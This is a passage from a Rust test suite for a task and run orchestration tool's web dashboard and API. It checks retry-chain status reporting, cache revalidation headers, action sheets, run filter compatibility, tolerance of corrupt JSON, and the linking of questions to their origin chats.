24562        assert!(APP_JS.contains("run.latest_attempt"));
24563        assert!(APP_JS.contains("data-superseded"));
24564        assert!(APP_JS.contains("#/runs/${latest.id}"));
24565    }
24566
24567    #[tokio::test]
24568    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24569        // A -> B -> C, all Blocked except the last. A's immediate successor
24570        // (superseded_by) is B, which is itself unresolved; what an operator
24571        // opening A's page actually needs is where the task's story stands
24572        // *now* - C, not B - without depending on whether C happens to be in
24573        // whatever page of /api/runs the client last cached.
24574        let fx = Fixture::start().await;
24575        let q = fx.queue();
24576        let runs = fx.runs();
24577        let (a, b, c) = (
24578            "20260901-000000-aaaa",
24579            "20260901-000000-bbbb",
24580            "20260901-000000-cccc",
24581        );
24582        write_run(&runs, a, RunStatus::Blocked);
24583        write_run(&runs, b, RunStatus::Blocked);
24584        write_run(&runs, c, RunStatus::Merged);
24585
24586        let mut t = Task::new(
24587            "retried twice".to_owned(),
24588            "do it".to_owned(),
24589            PathBuf::from("/repo"),
24590            Source::Human,
24591        );
24592        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24593        q.put(&mut t).expect("put");
24594
24595        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24596        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24597        assert_eq!(
24598            view["latest_attempt"]["id"], c,
24599            "the chain's current head, not the intermediate Blocked retry"
24600        );
24601        assert_eq!(view["latest_attempt"]["resolved"], true);
24602
24603        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24604        assert_eq!(mid["latest_attempt"]["id"], c);
24605        assert_eq!(mid["latest_attempt"]["resolved"], true);
24606    }
24607
24608    #[tokio::test]
24609    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24610        let fx = Fixture::start().await;
24611        let q = fx.queue();
24612        let runs = fx.runs();
24613
24614        // Still Blocked: the task is not resolved, so the older run must not
24615        // read as settled either.
24616        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24617        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24618        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24619        let mut t1 = Task::new(
24620            "still stuck".to_owned(),
24621            "do it".to_owned(),
24622            PathBuf::from("/repo"),
24623            Source::Human,
24624        );
24625        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24626        q.put(&mut t1).expect("put");
24627        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24628        assert_eq!(view1["latest_attempt"]["resolved"], false);
24629        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24630        assert_eq!(view1["latest_attempt"]["done"], true);
24631
24632        // Still running: the successor exists and must be reported as such.
24633        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24634        write_run(&runs, run_a, RunStatus::Blocked);
24635        write_run(&runs, run_b, RunStatus::Implementing);
24636        let mut t3 = Task::new(
24637            "retrying".to_owned(),
24638            "do it".to_owned(),
24639            PathBuf::from("/repo"),
24640            Source::Human,
24641        );
24642        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24643        q.put(&mut t3).expect("put");
24644        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24645        assert_eq!(view3["latest_attempt"]["id"], run_b);
24646        assert_eq!(view3["latest_attempt"]["resolved"], false);
24647        assert_eq!(view3["latest_attempt"]["done"], false);
24648
24649        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24650        // to check - not a confirmed finish, so this must not read as
24651        // resolved either, even though the run is done in the sense that
24652        // nothing is still running.
24653        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24654        write_run(&runs, noop_a, RunStatus::Blocked);
24655        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24656        let mut t2 = Task::new(
24657            "claims done".to_owned(),
24658            "do it".to_owned(),
24659            PathBuf::from("/repo"),
24660            Source::Human,
24661        );
24662        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24663        q.put(&mut t2).expect("put");
24664        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24665        assert_eq!(
24666            view2["latest_attempt"]["resolved"], false,
24667            "an unverified no-op claim must not read as a confirmed finish"
24668        );
24669
24670        // Front end: an unresolved successor must not carry the "finished
24671        // this work" note or the muted chip treatment.
24672        assert!(APP_JS.contains("latest.resolved"));
24673        // ...but the link to it shows as soon as it exists, labelled by state
24674        // and without the "finished" wording or the muted chip.
24675        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24676        assert!(APP_JS.contains("Latest attempt: "));
24677        assert!(APP_JS.contains("in flight"));
24678        assert!(APP_JS.contains("not resolved"));
24679    }
24680
24681    #[tokio::test]
24682    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24683        let fx = Fixture::start().await;
24684        // No cache header at all meant browsers invented their own policy,
24685        // and one did: a phone went on showing "Candidates must be folded
24686        // before deleting. Run `magi fold` first." - deleted two releases
24687        // earlier - from a deck that no longer contained the sentence. The
24688        // button it named was right there, and unreachable.
24689        let js = fx.get("/app.js").await;
24690        assert_eq!(js.status, 200);
24691        let tag = js
24692            .header("etag")
24693            .expect("an etag to revalidate against")
24694            .to_owned();
24695        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24696        assert_eq!(
24697            js.header("cache-control"),
24698            Some("no-cache, must-revalidate"),
24699            "the phone has to ask every time"
24700        );
24701
24702        // And the asking has to be cheap, or `must-revalidate` just means
24703        // "send the whole interface on every load".
24704        let again = fx
24705            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24706            .await;
24707        assert_eq!(
24708            again.status, 304,
24709            "a deck it already has costs one round trip"
24710        );
24711        assert!(again.body.is_empty(), "304 carries no body");
24712
24713        // A weakened tag from a proxy still matches; a different build does
24714        // not, which is the case that has to deliver the new interface.
24715        let weak = fx
24716            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24717            .await;
24718        assert_eq!(weak.status, 304);
24719        let stale = fx
24720            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24721            .await;
24722        assert_eq!(stale.status, 200, "an older build must be replaced");
24723        assert!(stale.body.contains("renderRunActions"));
24724    }
24725
24726    #[test]
24727    fn the_task_detail_has_an_actions_fab_and_sheet() {
24728        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24729        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24730        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24731        // Shown only on the task route, closed everywhere else.
24732        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24733        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24734        // Refreshed whenever the detail redraws, including the loading state.
24735        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24736        assert!(APP_JS.contains("renderTaskActions(null);"));
24737        // Same action renderers as the Queue card. Bound this check by the
24738        // next function, since additional task controls can grow the sheet.
24739        let (_, sheet) = APP_JS
24740            .split_once("function renderTaskActions(task) {")
24741            .expect("sheet renderer");
24742        let (body, _) = sheet
24743            .split_once("\nfunction openTaskActions() {")
24744            .expect("end of sheet renderer");
24745        assert!(body.contains("changePriority("));
24746        assert!(body.contains("openTaskEdit(task)"));
24747        assert!(body.contains("renderTaskHoldBox(host"));
24748        assert!(body.contains("renderTaskDoneBox(host"));
24749        assert!(body.contains("renderTaskDeleteBox(host"));
24750        assert!(APP_JS.contains("API.priority(id)"));
24751        assert!(APP_JS.contains("API.deleteTask(id)"));
24752        // A deleted task sends the operator back to the queue.
24753        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24754        // A refusal is shown inside the sheet.
24755        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24756    }
24757
24758    #[test]
24759    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24760        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24761        let actions = INDEX_HTML
24762            .find("id=\"run-actions-box\"")
24763            .expect("actions box");
24764        assert!(task < actions, "the task entry comes first in the sheet");
24765        assert!(APP_JS.contains("renderRunTaskEntry"));
24766        assert!(APP_JS.contains("\"Open task \""));
24767        // A run without a task says why there is nothing to open.
24768        assert!(APP_JS.contains("started directly, no task"));
24769        assert!(APP_JS.contains("sheet-task-link"));
24770        assert!(APP_JS.contains("task-chip-link"));
24771    }
24772
24773    #[test]
24774    fn the_deck_never_sends_the_operator_to_a_terminal() {
24775        // The whole point of the phone UI is that a terminal is not needed.
24776        // The delete control used to answer with "Run `magi fold` first."
24777        assert!(
24778            !APP_JS.contains("Run `magi fold` first"),
24779            "the deck must offer the fold, not prescribe a shell command"
24780        );
24781        assert!(APP_JS.contains("foldRun:"));
24782        assert!(APP_JS.contains("resumeRun:"));
24783        assert!(APP_JS.contains("renderRunActions"));
24784
24785        // Folding is destructive and armed in two steps, like deleting.
24786        assert!(APP_JS.contains("armedFold"));
24787        assert!(APP_JS.contains("Yes, fold worktrees"));
24788
24789        // And the copy has to say that the two actions are opposites, because
24790        // folding throws away exactly what a resume would continue from.
24791        assert!(APP_JS.contains("can no longer be resumed"));
24792    }
24793
24794    #[test]
24795    fn a_finished_run_explains_itself_with_its_own_last_line() {
24796        // The deck used to answer "why did this stop?" with a sentence chosen
24797        // by status alone. Run e633 stalled because two judges answered with
24798        // the wrong JSON shape and its card said "The panel collapsed on
24799        // agent quota" - with `quota: []` in the record and a quota-loss
24800        // counter right above it that correctly said nothing.
24801        assert!(
24802            !APP_JS.contains("collapsed on agent quota"),
24803            "a stall must not be explained by a cause the deck did not check"
24804        );
24805        assert!(
24806            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24807            "and a block must not offer a guess with an `or` in it"
24808        );
24809
24810        // The reason it does have is `run.event`, which must reach finished
24811        // runs: gating it on movement hid the recorded truth at the one moment
24812        // the operator is reading the card to find out what happened.
24813        assert!(
24814            APP_JS.contains("setText(r.event, run.event || \"\")"),
24815            "the run's last line is rendered unconditionally"
24816        );
24817        assert!(
24818            !APP_JS.contains("moving && run.event"),
24819            "and never gated on the run still moving"
24820        );
24821
24822        // Quota keeps its own counter, fed by the number actually recorded.
24823        assert!(APP_JS.contains("lost to quota"));
24824    }
24825
24826    /// The runs tree (section) and the state chips (waiting/done) are two
24827    /// independent lenses ANDed together in `renderRuns`, and some pairings
24828    /// can never both be true for any run - every "Landed"/"Ended" run is
24829    /// done by construction, so pairing either with "Active" or "In flight"
24830    /// always rendered zero cards with the filter bar still claiming
24831    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24832    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24833    /// a handful of (waiting, status) shapes standing in for the run
24834    /// lifecycle, because `cargo test` cannot execute the front end.
24835    ///
24836    /// That stand-in list is itself the part that drifted twice in review:
24837    /// once shipped with `waiting: true` paired with a done status the
24838    /// lifecycle cannot produce, then over-corrected into treating every
24839    /// waiting run as never done - which made "Waiting on you" look
24840    /// incompatible with "Done" even for the one real, reachable shape
24841    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24842    /// that combination. This test parses the shapes and the done-rule back
24843    /// out of `APP_JS`, reimplements `runSection` and the five state
24844    /// predicates independently in Rust, and checks the resulting
24845    /// section/filter compatibility table against the lifecycle rules by
24846    /// hand - so either direction of drift fails it again.
24847    #[test]
24848    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24849        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24850        let shapes_body_start =
24851            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24852        let shapes_close = APP_JS[shapes_body_start..]
24853            .find("].map(")
24854            .expect("the shape list is closed by its done-computing .map(...)")
24855            + shapes_body_start;
24856        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24857
24858        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24859        for entry in shapes_src.split('{').skip(1) {
24860            let waiting = entry.contains("waiting: true");
24861            let dead = entry.contains("live: \"dead\"");
24862            let status_at =
24863                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24864            let status_end = entry[status_at..]
24865                .find('"')
24866                .expect("the status string is closed")
24867                + status_at;
24868            let parked = entry.contains("display_status: \"parked\"");
24869            shapes.push((
24870                waiting,
24871                entry[status_at..status_end].to_string(),
24872                dead,
24873                parked,
24874            ));
24875        }
24876        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24877
24878        // The done rule itself (`!["implementing"].includes(shape.status)`),
24879        // read out of the source rather than hardcoded, so a renamed
24880        // in-flight status can't silently make every parsed shape "done".
24881        let done_rule_marker = "done: !";
24882        let done_rule_at = APP_JS[shapes_close..]
24883            .find(done_rule_marker)
24884            .expect("the done rule follows the shape list")
24885            + shapes_close
24886            + done_rule_marker.len();
24887        let includes_at = APP_JS[done_rule_at..]
24888            .find(".includes(shape.status)")
24889            .expect("the done rule ends in .includes(shape.status)")
24890            + done_rule_at;
24891        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24892            .trim()
24893            .trim_start_matches('[')
24894            .trim_end_matches(']')
24895            .split(',')
24896            .map(|s| s.trim().trim_matches('"'))
24897            .filter(|s| !s.is_empty())
24898            .collect();
24899
24900        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24901            .into_iter()
24902            .map(|(waiting, status, dead, parked)| {
24903                let done = !not_done.contains(&status.as_str());
24904                (waiting, status, dead, parked, done)
24905            })
24906            .collect();
24907
24908        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24909        // outright, then merged/ready land, stalled/blocked/failed/
24910        // verified_noop end, and everything else is still in flight.
24911        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24912            if waiting {
24913                return "waiting";
24914            }
24915            if dead
24916                && !parked
24917                && !matches!(
24918                    status,
24919                    "merged"
24920                        | "ready"
24921                        | "stalled"
24922                        | "blocked"
24923                        | "failed"
24924                        | "verified_noop"
24925                        | "superseded"
24926                        | "already_in_base"
24927                )
24928            {
24929                return "stale";
24930            }
24931            match status {
24932                "merged" | "ready" => "landed",
24933                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24934                | "already_in_base" => "ended",
24935                _ => "flight",
24936            }
24937        }
24938
24939        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24940        // way.
24941        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24942            match filter_key {
24943                "active" => !done,
24944                "flight" => !done && !waiting && !dead,
24945                "stale" => !done && !waiting && dead,
24946                "waiting" => waiting,
24947                "done" => done,
24948                "all" => true,
24949                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24950            }
24951        }
24952
24953        let compatible = |section: &str, filter_key: &str| {
24954            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24955                run_section(*waiting, status, *dead, *parked) == section
24956                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24957            })
24958        };
24959
24960        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24961        // (active, flight, stale, waiting, done, all) - hand-derived from the
24962        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24963        // currently contains.
24964        let expected = [
24965            ("waiting", [true, false, false, true, true, true]),
24966            ("stale", [true, false, true, false, false, true]),
24967            ("flight", [true, true, false, false, false, true]),
24968            ("landed", [false, false, false, false, true, true]),
24969            ("ended", [false, false, false, false, true, true]),
24970        ];
24971        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24972
24973        for (section, wants) in expected {
24974            for (filter_key, want) in filter_keys.iter().zip(wants) {
24975                assert_eq!(
24976                    compatible(section, filter_key),
24977                    want,
24978                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24979                );
24980            }
24981        }
24982
24983        // The compatibility check exists only to be acted on: both pickers
24984        // must actually consult it rather than just render its answer.
24985        assert!(
24986            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24987        );
24988        assert!(APP_JS.contains(
24989            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24990        ));
24991        assert!(APP_JS.contains(
24992            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24993        ));
24994    }
24995
24996    #[tokio::test]
24997    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24998        // An operator-named directory - git checkout or not - is never
24999        // second-guessed, even when it does not exist at all: only the
25000        // flag's own unmodified `.` default is ever eligible for discovery.
25001        let dir = tempfile::tempdir().expect("tempdir");
25002        let explicit = dir.path().join("not-a-checkout");
25003        std::fs::create_dir_all(&explicit).expect("create dir");
25004        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25005
25006        let missing = dir.path().join("does-not-exist-at-all");
25007        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25008    }
25009
25010    #[test]
25011    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25012        assert!(APP_JS.contains("function statsDonutArcs"));
25013        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25014        // A bucket click filters by the statuses src/stats.rs counts in it.
25015        assert!(APP_JS.contains("function statusInBucket"));
25016        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25017        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25018        let buckets = [
25019            "merged",
25020            "ready",
25021            "in_progress",
25022            "blocked",
25023            "failed",
25024            "verified_noop",
25025            "superseded",
25026            "stalled",
25027        ];
25028        for key in buckets {
25029            let var = format!("--verdict-{key}:");
25030            // Light, OS-dark and pinned-dark blocks each define it.
25031            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25032            assert!(
25033                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25034                "{key}"
25035            );
25036        }
25037    }
25038
25039    #[tokio::test]
25040    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25041        let dir = tempfile::tempdir().expect("tempdir");
25042        let queue = Queue::at(dir.path().join("queue"));
25043        let talks = Talks::at(dir.path().join("talks"));
25044        std::fs::create_dir_all(queue.root()).unwrap();
25045        std::fs::create_dir_all(talks.root()).unwrap();
25046
25047        // Put a corrupt json file in both stores
25048        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25049        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25050
25051        // Valid task and talk
25052        let mut task = Task::new(
25053            "title".into(),
25054            "inst".into(),
25055            PathBuf::from("/repo"),
25056            Source::Human,
25057        );
25058        task.id = "20261019-123456-abcd".into();
25059        // Write manually so it's a valid file
25060        std::fs::write(
25061            queue.path_of(&task.id),
25062            serde_json::to_string(&task).unwrap(),
25063        )
25064        .unwrap();
25065
25066        let talk_id = "20261019-234567-cdef";
25067        seed_talk_at(&talks, talk_id, "open");
25068
25069        // Exact match should succeed without failing on the corrupt json file
25070        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25071        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25072
25073        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25074        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25075        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25076    }
25077
25078    #[tokio::test]
25079    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25080        let home = tempfile::tempdir().unwrap();
25081        let ui = delta_test_ui(home.path());
25082        // A full history traversal would fail even with no questions.
25083        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25084        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25085        assert!(
25086            questions_list(State(ui.clone()))
25087                .await
25088                .unwrap()
25089                .0
25090                .is_empty()
25091        );
25092        assert!(
25093            question_origins(State(ui.clone()))
25094                .await
25095                .unwrap()
25096                .0
25097                .is_empty()
25098        );
25099        let mut question = Question::new(
25100            "run-history".into(),
25101            "review".into(),
25102            "seat".into(),
25103            "Useful question".into(),
25104            "Useful detail".into(),
25105            vec![],
25106        );
25107        ui.questions.put(&mut question).unwrap();
25108        let core = questions_core(State(ui.clone())).await.unwrap().0;
25109        assert_eq!(core.len(), 1);
25110        assert_eq!(core[0].question.summary, "Useful question");
25111        assert!(!core[0].can_consult_chat);
25112        assert!(core[0].origin_chat.is_none());
25113        assert_eq!(core[0].record_revision, question_record_revision(&question));
25114        assert!(question_origins(State(ui.clone())).await.is_err());
25115        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25116    }
25117
25118    #[tokio::test]
25119    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25120        let home = tempfile::tempdir().unwrap();
25121        let ui = delta_test_ui(home.path());
25122        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25123        let mut parent = Task::new(
25124            "parent".into(),
25125            "body".into(),
25126            PathBuf::from("/repo"),
25127            Source::Agent {
25128                run: chat.clone(),
25129                node: crate::queue::CHAT_NODE.into(),
25130            },
25131        );
25132        parent.id = "parent-task".into();
25133        parent.runs = vec!["parent-run".into()];
25134        ui.queue.put(&mut parent).unwrap();
25135        let mut previous = parent;
25136        for generation in 1..=2 {
25137            let mut child = Task::new(
25138                "child".into(),
25139                "body".into(),
25140                PathBuf::from("/repo"),
25141                Source::Human,
25142            );
25143            child.id = format!("child-task-{generation}");
25144            child.runs = vec![format!("child-run-{generation}")];
25145            child.followup = Some(crate::queue::FollowUp {
25146                origin_task: Some(previous.id.clone()),
25147                run: previous.runs[0].clone(),
25148                pr: String::new(),
25149                findings: vec![],
25150                generation,
25151            });
25152            ui.queue.put(&mut child).unwrap();
25153            previous = child;
25154        }
25155        // A run may have the same spelling as another task's id; its owner
25156        // must not override a typed task reference.
25157        let mut collision = Task::new(
25158            "collision".into(),
25159            String::new(),
25160            PathBuf::from("/repo"),
25161            Source::Human,
25162        );
25163        collision.id = "collision-task".into();
25164        collision.runs = vec![previous.id.clone()];
25165        ui.queue.put(&mut collision).unwrap();
25166        let mut questions = Vec::new();
25167        for (node, reference, expected, eligible) in [
25168            (crate::triage::NODE, previous.id.as_str(), true, false),
25169            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25170            ("review", previous.runs[0].as_str(), true, true),
25171            (
25172                crate::bump::NOTICE_NODE,
25173                previous.runs[0].as_str(),
25174                true,
25175                false,
25176            ),
25177            // Identical text in the wrong reference namespace is not evidence.
25178            ("review", previous.id.as_str(), false, false),
25179            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25180            ("review", "unrelated", false, false),
25181        ] {
25182            let mut q = Question::new(
25183                reference.into(),
25184                node.into(),
25185                "seat".into(),
25186                "Question".into(),
25187                String::new(),
25188                vec![],
25189            );
25190            ui.questions.put(&mut q).unwrap();
25191            questions.push((q, expected, eligible));
25192        }
25193        for (node, reference, associated, eligible) in [
25194            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25195            (
25196                crate::reconcile::NODE,
25197                previous.runs[0].as_str(),
25198                false,
25199                true,
25200            ),
25201            ("implement", previous.id.as_str(), false, false),
25202        ] {
25203            let mut q = Question::new(
25204                reference.into(),
25205                node.into(),
25206                crate::reconcile::SEAT.into(),
25207                "Reconcile".into(),
25208                String::new(),
25209                vec![],
25210            );
25211            ui.questions.put(&mut q).unwrap();
25212            questions.push((q, associated, eligible));
25213        }
25214        let mut release = Question::new(
25215            "release-record".into(),
25216            crate::bump::NOTICE_NODE.into(),
25217            "release-watch".into(),
25218            "Release".into(),
25219            String::new(),
25220            vec![],
25221        );
25222        ui.questions.put(&mut release).unwrap();
25223        let watch = crate::release_watch::WatchState {
25224            question: Some(release.id.clone()),
25225            run: Some(previous.runs[0].clone()),
25226            held_task: Some(previous.id.clone()),
25227            ..Default::default()
25228        };
25229        let watch_dir = home.path().join("release-watch");
25230        std::fs::create_dir_all(&watch_dir).unwrap();
25231        let watch_path = watch_dir.join("watch.json");
25232        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25233        // Ordinary questions and bump notices do not need watch-store I/O.
25234        for batch in [
25235            Vec::new(),
25236            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25237        ] {
25238            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25239            assert!(watches.is_empty());
25240        }
25241        questions.push((release.clone(), true, false));
25242
25243        let views = questions_list(State(ui.clone())).await.unwrap().0;
25244        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25245        for (q, associated, eligible) in &questions {
25246            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25247            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25248            let expected = associated.then_some(chat.as_str());
25249            assert_eq!(
25250                view.origin_chat.as_deref(),
25251                expected,
25252                "{} {}",
25253                q.node,
25254                q.run
25255            );
25256            assert_eq!(origin.origin_chat.as_deref(), expected);
25257            assert_eq!(view.origin_chat_closed, *associated);
25258            assert_eq!(origin.origin_chat_closed, *associated);
25259            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25260            assert_eq!(origin.can_consult_chat, *eligible);
25261        }
25262        // Either saved link independently recovers a release question's owner.
25263        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25264            let link = crate::release_watch::WatchState {
25265                run,
25266                held_task,
25267                ..watch.clone()
25268            };
25269            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25270            let (tasks, talks, watches) =
25271                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25272            assert_eq!(
25273                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25274                    .unwrap()
25275                    .id,
25276                chat,
25277            );
25278            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25279        }
25280        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25281        // Even identical duplicate records are ambiguous: ignore their links.
25282        let duplicate_path = watch_dir.join("duplicate.json");
25283        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25284        let (tasks, talks, watches) =
25285            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25286        assert!(
25287            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25288                .is_none()
25289        );
25290        std::fs::remove_file(duplicate_path).unwrap();
25291        // Another explicit owner is a conflict even if it has no chat.
25292        let mut unrelated = Task::new(
25293            "other".into(),
25294            String::new(),
25295            PathBuf::from("/repo"),
25296            Source::Human,
25297        );
25298        unrelated.id = "unrelated-task".into();
25299        ui.queue.put(&mut unrelated).unwrap();
25300        let mut conflicting = watch.clone();
25301        conflicting.held_task = Some(unrelated.id);
25302        std::fs::write(
25303            watch_dir.join("conflict.json"),
25304            serde_json::to_vec(&conflicting).unwrap(),
25305        )
25306        .unwrap();
25307        let (tasks, talks, watches) =
25308            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25309        assert!(
25310            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25311                .is_none()
25312        );
25313        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25314        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25315        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25316            assert!(origin.origin_chat.is_none());
25317            assert!(!origin.origin_chat_closed);
25318        }
25319    }
25320
25321    #[test]
25322    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25323        let home = tempfile::tempdir().unwrap();
25324        let ui = delta_test_ui(home.path());
25325        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25326        for i in 0..1000 {
25327            let mut task = Task::new(
25328                "unrelated".into(),
25329                "instruction ".repeat(256),
25330                PathBuf::from("/repo"),
25331                Source::Human,
25332            );
25333            task.id = format!("history-{i:04}");
25334            ui.queue.put(&mut task).unwrap();
25335            let id = seed_talk_at(&ui.talks, &task.id, "open");
25336            let mut talk = ui.talks.get(&id).unwrap();
25337            talk.pending = "history ".repeat(256);
25338            ui.talks.put(&mut talk).unwrap();
25339        }
25340        let mut parent = Task::new(
25341            "parent".into(),
25342            "body".into(),
25343            PathBuf::from("/repo"),
25344            Source::Agent {
25345                run: chat_id.clone(),
25346                node: crate::queue::CHAT_NODE.into(),
25347            },
25348        );
25349        parent.id = "task-parent".into();
25350        parent.runs = vec!["run-parent".into()];
25351        ui.queue.put(&mut parent).unwrap();
25352        let mut child = Task::new(
25353            "child".into(),
25354            "body".into(),
25355            PathBuf::from("/repo"),
25356            Source::Human,
25357        );
25358        child.id = "task-child".into();
25359        child.runs = vec!["run-child".into()];
25360        child.followup = Some(crate::queue::FollowUp {
25361            run: "run-parent".into(),
25362            origin_task: Some(parent.id.clone()),
25363            pr: "https://example.invalid/pr/1".into(),
25364            findings: vec![],
25365            generation: 1,
25366        });
25367        ui.queue.put(&mut child).unwrap();
25368        let mut question = Question::new(
25369            child.id.clone(),
25370            crate::conduct::NODE.into(),
25371            "seat".into(),
25372            "Continue?".into(),
25373            String::new(),
25374            vec![],
25375        );
25376        let (tasks, talks, _watches) =
25377            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25378        assert_eq!(tasks.len(), 2);
25379        assert_eq!(talks.len(), 1);
25380        assert_eq!(
25381            ui.monitor.queue_index.lock().unwrap().reparsed,
25382            0,
25383            "exact ancestry bypasses the index"
25384        );
25385        assert_eq!(
25386            crate::consult::origin_talk(&tasks, &talks, &question)
25387                .unwrap()
25388                .id,
25389            chat_id
25390        );
25391        question.run = "run-child".into();
25392        question.node = "review".into();
25393        for origin_task in [Some(parent.id.clone()), None] {
25394            child.followup.as_mut().unwrap().origin_task = origin_task;
25395            ui.queue.put(&mut child).unwrap();
